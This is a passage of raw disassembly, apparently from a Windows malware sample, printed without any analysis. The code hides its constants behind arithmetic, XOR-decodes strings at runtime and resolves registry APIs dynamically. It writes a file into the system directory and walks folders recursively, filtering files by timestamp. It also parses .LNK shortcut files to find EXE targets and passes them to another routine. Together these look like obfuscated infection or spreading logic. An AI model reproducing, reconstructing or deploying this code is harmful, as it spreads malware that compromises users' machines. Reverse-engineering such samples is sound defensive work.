arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	esi
		push	edi
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_446600	; GetSystemDirectoryA
		lea	eax, [ebp+var_168]
		push	eax
		call	sub_43F85A
		push	offset byte_44B25F
		call	sub_43C507
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	ds:dword_444020
		lea	eax, [ebp+var_168]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_444020
		push	offset byte_44B257
		call	sub_43C507
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	ds:dword_444020
		add	esp, 24h
		movsx	eax, word_44A124
		add	eax, dword_44A1A0
		mov	dl, [ebp+arg_0]
		mov	[ebp+eax+var_270], dl
		push	0
		push	80h
		push	4
		push	0
		movsx	eax, word_44A170
		sub	eax, 2
		push	eax
		push	40000000h
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_449788	; CreateFileA
		mov	edi, eax
		push	0
		lea	eax, [ebp+var_26C]
		push	eax
		mov	eax, dword_44A248
		inc	eax
		push	eax
		lea	eax, [ebp+var_267]
		push	eax
		push	edi
		call	ds:dword_449B8C	; WriteFile
		push	edi
		call	ds:dword_448654	; CloseHandle
		pop	edi
		pop	esi
		leave
		retn
sub_43B982	endp


; =============== S U B	R O U T	I N E =======================================



sub_43BA5C	proc near		; DATA XREF: sub_43B490+7o
		mov	eax, dword_44A1E4
		movsx	edx, word_44A1E0
		add	eax, edx
		sub	eax, 6
		push	eax
		call	ds:dword_449664	; ExitThread
		retn
sub_43BA5C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43BA75	proc near		; CODE XREF: sub_43BA75+299p
					; sub_43BA75+307p ...

var_268		= byte ptr -268h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= word ptr -258h
var_256		= word ptr -256h
var_252		= word ptr -252h
var_250		= word ptr -250h
var_24E		= word ptr -24Eh
var_248		= dword	ptr -248h
var_242		= byte ptr -242h
var_13E		= byte ptr -13Eh
var_112		= byte ptr -112h
arg_0		= dword	ptr  8
arg_8		= byte ptr  10h
arg_18		= byte ptr  20h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 268h
		push	ebx
		push	esi
		push	edi
		push	0
		call	ds:dword_449630
		xor	ebx, ebx
		inc	ebx
		push	offset byte_44B24F
		call	sub_43C507
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	ds:dword_449634
		add	esp, 14h
		lea	eax, [ebp+var_13E]
		push	eax
		lea	eax, [ebp+var_242]
		push	eax
		call	ds:dword_447258	; FindFirstFileA
		mov	[ebp+var_248], eax
		mov	eax, dword_44A128
		movsx	edx, word_44A180
		add	eax, edx
		sub	eax, 0Ch
		neg	eax
		cmp	[ebp+var_248], eax
		jnz	loc_43BCC2
		movsx	eax, word_44A1B4
		sub	eax, 4
		cmp	[ebp+arg_20], eax
		ja	loc_43BD8B
		movsx	eax, word_44A170
		mov	edx, dword_44A268
		lea	eax, [eax+edx+3FAh]
		cmp	[ebp+arg_24], eax
		jnb	short loc_43BB2B
		mov	eax, dword_44A1B0
		add	eax, 95h
		movsx	edx, word_44A150
		add	eax, edx
		cmp	[ebp+arg_24], eax
		jnz	loc_43BD8B


loc_43BB2B:				; CODE XREF: sub_43BA75+98j
		movsx	eax, word_44A1C0
		add	eax, 30D3Ch
		cmp	[ebp+arg_24], eax
		ja	loc_43BD8B
		lea	eax, [ebp+arg_18]
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		call	ds:dword_449780	; CompareFileTime
		mov	[ebp+var_260], eax
		mov	eax, dword_44A23C
		add	eax, dword_44A1BC
		sub	eax, 0Eh
		cmp	[ebp+var_260], eax
		jge	short loc_43BB77
		lea	edi, [ebp+var_268]
		lea	esi, [ebp+arg_18]
		movsd
		movsd
		jmp	short loc_43BB82
; ---------------------------------------------------------------------------


loc_43BB77:				; CODE XREF: sub_43BA75+F3j
		lea	edi, [ebp+var_268]
		lea	esi, [ebp+arg_8]
		movsd
		movsd


loc_43BB82:				; CODE XREF: sub_43BA75+100j
		lea	eax, [ebp+var_258]
		push	eax
		lea	eax, [ebp+var_268]
		push	eax
		call	ds:dword_449778	; FileTimeToSystemTime
		movzx	eax, [ebp+var_24E]
		movzx	edx, [ebp+var_250]
		movsx	ecx, word_44A174
		add	ecx, 35h
		imul	edx, ecx
		add	eax, edx
		movzx	edx, [ebp+var_252]
		movsx	ecx, word_44A1A4
		movsx	esi, word_44A124
		lea	ecx, [ecx+esi+0Bh]
		imul	edx, ecx
		mov	ecx, dword_44A154
		add	ecx, 35h
		imul	edx, ecx
		add	eax, edx
		movzx	edx, [ebp+var_256]
		mov	ecx, dword_44A268
		add	ecx, 1Ah
		imul	edx, ecx
		mov	ecx, dword_44A140
		add	ecx, 6
		add	ecx, dword_44A26C
		imul	edx, ecx
		movsx	ecx, word_44A0D8
		mov	esi, dword_44A168
		lea	ecx, [ecx+esi+3Ah]
		imul	edx, ecx
		add	eax, edx
		movzx	edx, [ebp+var_258]
		mov	ecx, dword_44A270
		add	ecx, 8
		imul	edx, ecx
		movsx	ecx, word_44A150
		add	ecx, 16h
		imul	edx, ecx
		mov	ecx, dword_44A0C8
		add	ecx, 0Fh
		add	ecx, dword_44A194
		imul	edx, ecx
		mov	ecx, dword_44A10C
		add	ecx, 33h
		add	ecx, dword_44A1A0
		imul	edx, ecx
		add	eax, edx
		mov	[ebp+var_25C], eax
		mov	edx, ds:dword_444024
		cmp	eax, edx
		ja	loc_43BD8B
		sub	edx, eax
		movsx	eax, word_44A27C
		mov	ecx, dword_44A128
		lea	eax, [eax+ecx+7]
		cmp	edx, eax
		jnb	loc_43BD8B
		movsx	eax, word_44A264
		add	eax, 9Bh
		cmp	[ebp+arg_24], eax
		jz	short loc_43BCB0
		push	0
		push	[ebp+arg_0]
		call	sub_43AF47
		add	esp, 8
		jmp	loc_43BD8B
; ---------------------------------------------------------------------------


loc_43BCB0:				; CODE XREF: sub_43BA75+227j
		push	1
		push	[ebp+arg_0]
		call	sub_43AF47
		add	esp, 8
		jmp	loc_43BD8B
; ---------------------------------------------------------------------------


loc_43BCC2:				; CODE XREF: sub_43BA75+68j
		cmp	[ebp+var_112], 2Eh
		jz	loc_43BD87
		push	offset word_44B246
		call	sub_43C507
		lea	edi, [ebp+var_112]
		push	edi
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	ds:dword_449634
		lea	esi, [ebp+var_13E]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_242]
		push	edi
		call	sub_43BA75
		add	esp, 158h
		jmp	short loc_43BD87
; ---------------------------------------------------------------------------


loc_43BD1B:				; CODE XREF: sub_43BA75+314j
		lea	eax, [ebp+var_13E]
		push	eax
		push	[ebp+var_248]
		call	ds:dword_445004	; FindNextFileA
		mov	ebx, eax
		or	ebx, ebx
		jz	short loc_43BD8B
		cmp	[ebp+var_112], 2Eh
		jz	short loc_43BD87
		push	offset byte_44B23D
		call	sub_43C507
		lea	edi, [ebp+var_112]
		push	edi
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	ds:dword_449634
		lea	esi, [ebp+var_13E]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_242]
		push	edi
		call	sub_43BA75
		add	esp, 158h


loc_43BD87:				; CODE XREF: sub_43BA75+254j
					; sub_43BA75+2A4j ...
		or	ebx, ebx
		jnz	short loc_43BD1B


loc_43BD8B:				; CODE XREF: sub_43BA75+7Bj
					; sub_43BA75+B0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43BA75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43BD90	proc near		; CODE XREF: sub_43D357+190p

var_12110	= byte ptr -12110h
var_1210C	= word ptr -1210Ch
var_1210A	= word ptr -1210Ah
var_12108	= dword	ptr -12108h
var_12104	= byte ptr -12104h
var_12000	= word ptr -12000h
var_11FFE	= byte ptr -11FFEh
var_1FFF	= byte ptr -1FFFh
var_1FB3	= byte ptr -1FB3h
var_1FB2	= byte ptr -1FB2h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 12110h
		call	sub_442F6C
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_12104]
		push	eax
		call	sub_442F8C
		lea	ecx, [ebp+var_12104]
		or	eax, 0FFFFFFFFh


loc_43BDB8:				; CODE XREF: sub_43BD90+2Dj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43BDB8
		movsx	ebx, word_44A240
		movsx	edx, word_44A1C0
		add	ebx, edx
		sub	ebx, 5
		mov	esi, eax
		sub	esi, ebx
		movsx	ebx, word_44A0FC
		movsx	edx, word_44A160
		add	ebx, edx
		sub	ebx, 7
		mov	[ebp+esi+var_12104], bl
		push	0
		mov	eax, dword_44A1E8
		add	eax, dword_44A0B8
		sub	eax, 4
		push	eax
		push	3
		push	0
		mov	eax, dword_44A0A0
		movsx	edx, word_44A1B4
		add	eax, edx
		sub	eax, 8
		push	eax
		push	80000001h
		lea	eax, [ebp+var_12104]
		push	eax
		call	ds:dword_449788	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_43C066
		push	0
		lea	eax, [ebp+var_12110]
		push	eax
		push	1FFFh
		lea	eax, [ebp+var_1FFF]
		push	eax
		push	edi
		call	ds:dword_444028	; ReadFile
		mov	[ebp+var_12108], eax
		push	edi
		call	ds:dword_448654	; CloseHandle
		mov	eax, dword_44A1D0
		sub	eax, 7
		cmp	[ebp+var_12108], eax
		jz	loc_43C066
		cmp	[ebp+var_1FFF],	4Ch
		jnz	loc_43C066
		movzx	esi, [ebp+var_1FB3]
		movzx	ebx, [ebp+var_1FB2]
		movzx	ebx, bx
		shl	ebx, 8
		or	esi, ebx
		mov	[ebp+var_1210A], si
		movzx	eax, [ebp+var_1210A]
		movsx	edx, word_44A264
		mov	ecx, dword_44A1E4
		lea	edx, [edx+ecx+3Fh]
		add	eax, edx
		movsx	edx, word_44A150
		add	edx, dword_44A10C
		sub	edx, 0Ch
		add	eax, edx
		mov	[ebp+var_12000], ax
		movzx	eax, [ebp+var_12000]
		movsx	eax, [ebp+eax+var_1FFF]
		mov	edx, dword_44A26C
		sub	edx, 9
		cmp	eax, edx
		jz	loc_43C066
		movzx	eax, [ebp+var_12000]
		movsx	edx, word_44A0BC
		dec	edx
		add	eax, edx
		movsx	eax, [ebp+eax+var_1FFF]
		mov	edx, dword_44A13C
		sub	edx, 2
		cmp	eax, edx
		jnz	loc_43C066
		movzx	eax, [ebp+var_12000]
		mov	edx, dword_44A268
		add	edx, 0Ch
		mov	ecx, eax
		add	ecx, edx
		movzx	edx, [ebp+ecx+var_1FFF]
		movsx	esi, word_44A1FC
		lea	esi, [eax+esi+0Ch]
		movzx	esi, [ebp+esi+var_1FFF]
		movzx	esi, si
		shl	esi, 8
		mov	ebx, edx
		or	ebx, esi
		mov	esi, ebx
		movzx	esi, si
		mov	ebx, eax
		add	ebx, esi
		mov	esi, ebx
		mov	[ebp+var_1210C], si
		movzx	eax, [ebp+var_1210C]
		lea	eax, [ebp+eax+var_1FFF]
		push	eax
		lea	eax, [ebp+var_11FFE]
		push	eax
		call	sub_442F8C
		lea	ecx, [ebp+var_11FFE]
		or	eax, 0FFFFFFFFh


loc_43BF87:				; CODE XREF: sub_43BD90+1FCj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43BF87
		mov	edi, eax
		movsx	eax, word_44A100
		add	eax, dword_44A228
		sub	eax, 2
		mov	edx, edi
		sub	edx, eax
		cmp	[ebp+edx+var_11FFE], 2Eh
		jnz	short loc_43C02B
		mov	eax, dword_44A0C8
		movsx	edx, word_44A218
		add	eax, edx
		sub	eax, 2
		mov	edx, edi
		sub	edx, eax
		movsx	eax, [ebp+edx+var_11FFE]
		push	eax
		call	ds:dword_444030
		add	esp, 4
		cmp	eax, 45h
		jnz	short loc_43C02B
		mov	esi, dword_44A1E8
		movsx	ebx, word_44A230
		add	esi, ebx
		sub	esi, 5
		mov	ebx, edi
		sub	ebx, esi
		movsx	esi, [ebp+ebx+var_11FFE]
		push	esi
		call	ds:dword_444030
		add	esp, 4
		cmp	eax, 58h
		jnz	short loc_43C02B
		mov	esi, dword_44A158
		sub	esi, 8
		mov	ebx, edi
		sub	ebx, esi
		movsx	esi, [ebp+ebx+var_11FFE]
		push	esi
		call	ds:dword_444030
		add	esp, 4
		cmp	eax, 45h
		jz	short loc_43C02D


loc_43C02B:				; CODE XREF: sub_43BD90+21Cj
					; sub_43BD90+248j ...
		jmp	short loc_43C066
; ---------------------------------------------------------------------------


loc_43C02D:				; CODE XREF: sub_43BD90+299j
		push	offset dword_44B238
		call	sub_43C507
		push	eax
		lea	edi, [ebp+var_11FFE]
		push	edi
		call	ds:dword_444020
		mov	eax, dword_44A168
		movsx	edx, word_44A1A4
		add	eax, edx
		sub	eax, 7
		push	eax
		lea	eax, [ebp+var_11FFE]
		push	eax
		call	sub_44029C
		add	esp, 14h


loc_43C066:				; CODE XREF: sub_43BD90+9Ej
					; sub_43BD90+DBj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43BD90	endp


; =============== S U B	R O U T	I N E =======================================



sub_43C06B	proc near		; DATA XREF: .data:0044A388o
		mov	eax, 80004001h
		retn	18h
sub_43C06B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C073	proc near		; CODE XREF: sub_43855F:loc_438562p

var_252		= byte ptr -252h
var_236		= dword	ptr -236h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_114]
		push	eax
		mov	eax, dword_44A0A0
		sub	eax, 4
		push	eax
		push	0
		push	20h
		push	0
		call	ds:dword_446A44
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_44725C	; GetSystemTime
		movzx	eax, [ebp+var_6]
		movzx	edx, [ebp+var_8]
		mov	ecx, dword_44A274
		add	ecx, 33h
		add	ecx, dword_44A1EC
		imul	edx, ecx
		add	eax, edx
		movzx	edx, [ebp+var_A]
		mov	ecx, dword_44A1AC
		add	ecx, 0Ch
		movsx	ebx, word_44A22C
		add	ecx, ebx
		imul	edx, ecx
		mov	ecx, dword_44A0F4
		add	ecx, 35h
		imul	edx, ecx
		add	eax, edx
		movzx	edx, [ebp+var_E]
		mov	ecx, dword_44A09C
		add	ecx, 19h
		imul	edx, ecx
		movsx	ecx, word_44A1FC
		add	ecx, 13h
		imul	edx, ecx
		mov	ecx, dword_44A1F8
		add	ecx, 39h
		imul	edx, ecx
		add	eax, edx
		movzx	edx, [ebp+var_10]
		movsx	ecx, word_44A104
		movsx	ebx, word_44A260
		lea	ecx, [ecx+ebx+2]
		imul	edx, ecx
		mov	ecx, dword_44A11C
		add	ecx, 16h
		add	ecx, dword_44A090
		imul	edx, ecx
		mov	ecx, dword_44A268
		add	ecx, 0Eh
		movsx	ebx, word_44A144
		add	ecx, ebx
		imul	edx, ecx
		mov	ecx, dword_44A110
		add	ecx, 37h
		add	ecx, dword_44A238
		imul	edx, ecx
		add	eax, edx
		mov	ds:dword_444024, eax
		mov	eax, dword_44A0E4
		sub	eax, 8
		mov	[ebp+var_236], eax
		lea	esi, [ebp+var_252]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_114]
		push	edi
		call	sub_43BA75
		add	esp, 144h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43C073	endp


; =============== S U B	R O U T	I N E =======================================



sub_43C1A7	proc near		; DATA XREF: .data:0044A360o
		mov	eax, 80004001h
		retn	8
sub_43C1A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C1AF	proc near		; DATA XREF: .data:0044A39Co
		push	ebp
		mov	ebp, esp
		push	offset dword_446608
		call	ds:dword_446A3C	; InterlockedIncrement
		mov	eax, ds:dword_446608
		pop	ebp
		retn	4
sub_43C1AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_43C1C6	proc near		; CODE XREF: sub_43EC0A+2Fp
		push	edi
		push	offset dword_44B228
		call	sub_43C507
		pop	ecx
		push	eax
		call	ds:dword_4465E8	; GetModuleHandleA
		mov	dword_44A2B8, eax
		test	eax, eax
		jnz	short loc_43C1F9
		push	offset dword_44B218
		call	sub_43C507
		pop	ecx
		push	eax
		call	ds:dword_447244	; LoadLibraryA
		mov	dword_44A2B8, eax


loc_43C1F9:				; CODE XREF: sub_43C1C6+1Aj
		push	offset byte_44B207
		call	sub_43C507
		push	eax
		push	dword_44A2B8
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_4465EC, eax
		push	offset byte_44B1F3
		call	sub_43C507
		push	eax
		push	dword_44A2B8
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_44403C, eax
		push	offset dword_44B1E4
		call	sub_43C507
		push	eax
		push	dword_44A2B8
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_449618, eax
		push	offset dword_44B1D4
		call	sub_43C507
		add	esp, 10h
		push	eax
		push	dword_44A2B8
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_4465F0, eax
		pop	edi
		retn
sub_43C1C6	endp


; =============== S U B	R O U T	I N E =======================================



sub_43C26E	proc near		; CODE XREF: sub_43EC0A+2Ap
		push	edi
		push	offset byte_44B1C5
		call	sub_43C507
		pop	ecx
		push	eax
		call	ds:dword_4465E8	; GetModuleHandleA
		mov	dword_44A2B4, eax
		test	eax, eax
		jnz	short loc_43C2A1
		push	offset asc_44B1B6 ; "\v"
		call	sub_43C507
		pop	ecx
		push	eax
		call	ds:dword_447244	; LoadLibraryA
		mov	dword_44A2B4, eax


loc_43C2A1:				; CODE XREF: sub_43C26E+1Aj
		push	offset word_44B1A2
		call	sub_43C507
		pop	ecx
		push	eax
		push	dword_44A2B4
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_446A44, eax
		pop	edi
		retn
sub_43C26E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C2C0	proc near		; CODE XREF: sub_43AF47+26Dp

var_54		= byte ptr -54h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 54h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		add	eax, 40h
		jge	short loc_43C2D7
		add	eax, 3Fh


loc_43C2D7:				; CODE XREF: sub_43C2C0+12j
		sar	eax, 6
		mov	edi, eax
		shl	edi, 6
		push	edi
		call	sub_43A0EE
		pop	ecx
		mov	[ebp+var_14], eax
		mov	edi, [ebp+arg_4]
		mov	edx, dword_44A248
		add	edx, 3Ch
		add	edx, dword_44A270
		mov	eax, edi
		add	eax, edx
		jge	short loc_43C304
		add	eax, 3Fh


loc_43C304:				; CODE XREF: sub_43C2C0+3Fj
		sar	eax, 6
		mov	edi, dword_44A288
		add	edi, 3Ah
		mov	edx, eax
		imul	edx, edi
		push	edx
		push	[ebp+var_14]
		call	ds:dword_44402C	; RtlZeroMemory
		push	[ebp+arg_4]
		push	esi
		push	[ebp+var_14]
		call	ds:dword_448638
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_442662
		mov	esi, [ebp+var_14]
		mov	ebx, dword_44A184
		sub	ebx, 2
		jmp	short loc_43C362
; ---------------------------------------------------------------------------


loc_43C346:				; CODE XREF: sub_43C2C0+BCj
		push	esi
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_442689
		mov	eax, dword_44A1E8
		add	eax, 39h
		add	eax, dword_44A14C
		lea	esi, [esi+eax]
		inc	ebx


loc_43C362:				; CODE XREF: sub_43C2C0+84j
		mov	edi, [ebp+arg_4]
		movsx	edx, word_44A170
		lea	eax, [edi+edx+3Eh]
		test	eax, eax
		jge	short loc_43C377
		add	eax, 3Fh


loc_43C377:				; CODE XREF: sub_43C2C0+B2j
		sar	eax, 6
		cmp	ebx, eax
		jl	short loc_43C346
		push	[ebp+var_14]
		call	sub_438324
		lea	eax, [ebp+var_54]
		push	eax
		push	[ebp+arg_8]
		call	sub_439DC4
		movsx	eax, word_44A0B0
		add	eax, 9
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		call	ds:dword_44964C
		add	esp, 18h
		movsx	edi, word_44A144
		add	edi, dword_44A14C
		sub	edi, 0Ch
		cmp	eax, edi
		jz	short loc_43C3C7
		xor	eax, eax
		inc	eax
		jmp	short loc_43C3C9
; ---------------------------------------------------------------------------


loc_43C3C7:				; CODE XREF: sub_43C2C0+100j
		xor	eax, eax


loc_43C3C9:				; CODE XREF: sub_43C2C0+105j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43C2C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C3CE	proc near		; CODE XREF: sub_43F189+197p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		push	20019h
		mov	eax, dword_44A280
		movsx	edx, word_44A100
		add	eax, edx
		sub	eax, 7
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4465EC	; RegOpenKeyExA
		mov	edi, eax
		or	edi, edi
		jz	short loc_43C404
		xor	eax, eax
		jmp	short loc_43C431
; ---------------------------------------------------------------------------


loc_43C404:				; CODE XREF: sub_43C3CE+30j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	ds:dword_44403C	; RegQueryValueExA
		mov	edi, eax
		push	[ebp+var_4]
		call	ds:dword_449618	; RegCloseKey
		or	edi, edi
		jz	short loc_43C42E
		xor	eax, eax
		jmp	short loc_43C431
; ---------------------------------------------------------------------------


loc_43C42E:				; CODE XREF: sub_43C3CE+5Aj
		xor	eax, eax
		inc	eax


loc_43C431:				; CODE XREF: sub_43C3CE+34j
					; sub_43C3CE+5Ej
		pop	edi
		leave
		retn
sub_43C3CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C434	proc near		; CODE XREF: sub_43858C+DAp
					; sub_43858C+510p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		push	ebx
		call	ds:dword_444000	; lstrlenW
		mov	edi, eax
		push	0
		push	0
		movsx	eax, word_44A0CC
		add	eax, 1FF8h
		push	eax
		push	esi
		push	edi
		push	ebx
		mov	eax, dword_44A12C
		add	eax, dword_44A194
		sub	eax, 11h
		push	eax
		push	0
		call	ds:dword_44400C	; WideCharToMultiByte
		mov	eax, dword_44A19C
		add	eax, dword_44A21C
		sub	eax, 0Eh
		mov	[esi+edi], al
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_43C434	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C48C	proc near		; DATA XREF: .data:off_44A398o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		push	offset dword_44BAC8
		push	esi
		call	ds:dword_449648
		or	eax, eax
		jz	short loc_43C4B8
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_43C500
; ---------------------------------------------------------------------------


loc_43C4B8:				; CODE XREF: sub_43C48C+1Aj
		push	offset dword_44BA48
		push	esi
		call	ds:dword_449648
		or	eax, eax
		jz	short loc_43C4D8
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_43C500
; ---------------------------------------------------------------------------


loc_43C4D8:				; CODE XREF: sub_43C48C+3Aj
		push	offset dword_44BA08
		push	esi
		call	ds:dword_449648
		or	eax, eax
		jz	short loc_43C4F8
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_43C500
; ---------------------------------------------------------------------------


loc_43C4F8:				; CODE XREF: sub_43C48C+5Aj
		and	dword ptr [edi], 0
		mov	eax, 80004002h


loc_43C500:				; CODE XREF: sub_43C48C+2Aj
					; sub_43C48C+4Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_43C48C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C507	proc near		; CODE XREF: sub_43858C+298p
					; sub_43858C+38Bp ...

var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	dword_44A290, 0
		jnz	short loc_43C52F
		push	offset dword_449BC0
		call	ds:dword_445008	; InitializeCriticalSection
		mov	dword_44A290, 1


loc_43C52F:				; CODE XREF: sub_43C507+11j
		movsx	esi, word_44A1F0
		movsx	ebx, word_44A0CC
		add	esi, ebx
		sub	esi, 7
		movzx	ebx, byte ptr [edi]
		movzx	edx, byte ptr [edi+1]
		movzx	edx, dx
		shl	edx, 8
		or	ebx, edx
		movzx	ebx, bx
		add	esi, ebx
		mov	[ebp+var_4], si
		movzx	eax, [ebp+var_4]
		cmp	eax, dword_44A0B8
		jz	short loc_43C5E2
		push	offset dword_449BC0
		call	ds:dword_449660	; RtlEnterCriticalSection
		mov	eax, dword_44A220
		dec	eax
		mov	[ebp+var_2], ax
		jmp	short loc_43C592
; ---------------------------------------------------------------------------


loc_43C57D:				; CODE XREF: sub_43C507+95j
		movzx	eax, [ebp+var_2]
		add	eax, edi
		movsx	edx, byte ptr [eax]
		movsx	ecx, byte ptr [edi+2]
		xor	edx, ecx
		mov	[eax], dl
		inc	[ebp+var_2]


loc_43C592:				; CODE XREF: sub_43C507+74j
		movzx	eax, [ebp+var_2]
		movzx	edx, [ebp+var_4]
		cmp	eax, edx
		jl	short loc_43C57D
		movsx	eax, word_44A170
		sub	eax, 2
		mov	edx, dword_44A0F8
		add	edx, dword_44A12C
		sub	edx, 0Fh
		mov	[edi+eax], dl
		mov	eax, dword_44A128
		sub	eax, 8
		mov	edx, dword_44A25C
		movsx	ecx, word_44A1F0
		add	edx, ecx
		sub	edx, 0Bh
		mov	[edi+eax], dl
		push	offset dword_449BC0
		call	ds:dword_448650	; RtlLeaveCriticalSection


loc_43C5E2:				; CODE XREF: sub_43C507+5Dj
		lea	eax, [edi+3]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43C507	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C5EA	proc near		; CODE XREF: sub_44006A+Ep
					; sub_44006A+1E1p

var_10088	= dword	ptr -10088h
var_10084	= dword	ptr -10084h
var_10080	= dword	ptr -10080h
var_1007C	= dword	ptr -1007Ch
var_10078	= word ptr -10078h
var_10070	= dword	ptr -10070h
var_10068	= dword	ptr -10068h
var_10064	= dword	ptr -10064h
var_10060	= dword	ptr -10060h
var_10059	= byte ptr -10059h
var_10058	= dword	ptr -10058h
var_10054	= dword	ptr -10054h
var_10050	= dword	ptr -10050h
var_1004C	= dword	ptr -1004Ch
var_10048	= dword	ptr -10048h
var_10043	= byte ptr -10043h
var_44		= dword	ptr -44h
var_40		= word ptr -40h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 10088h
		call	sub_442F6C
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_40], 8
		push	offset dword_44B194
		call	sub_43F767
		pop	ecx
		push	eax
		call	ds:dword_444044
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	esi, [ebp+var_40]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+arg_0]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+30h]
		mov	ebx, eax
		movsx	eax, word_44A0FC
		add	eax, dword_44A154
		sub	eax, 0Dh
		cmp	ebx, eax
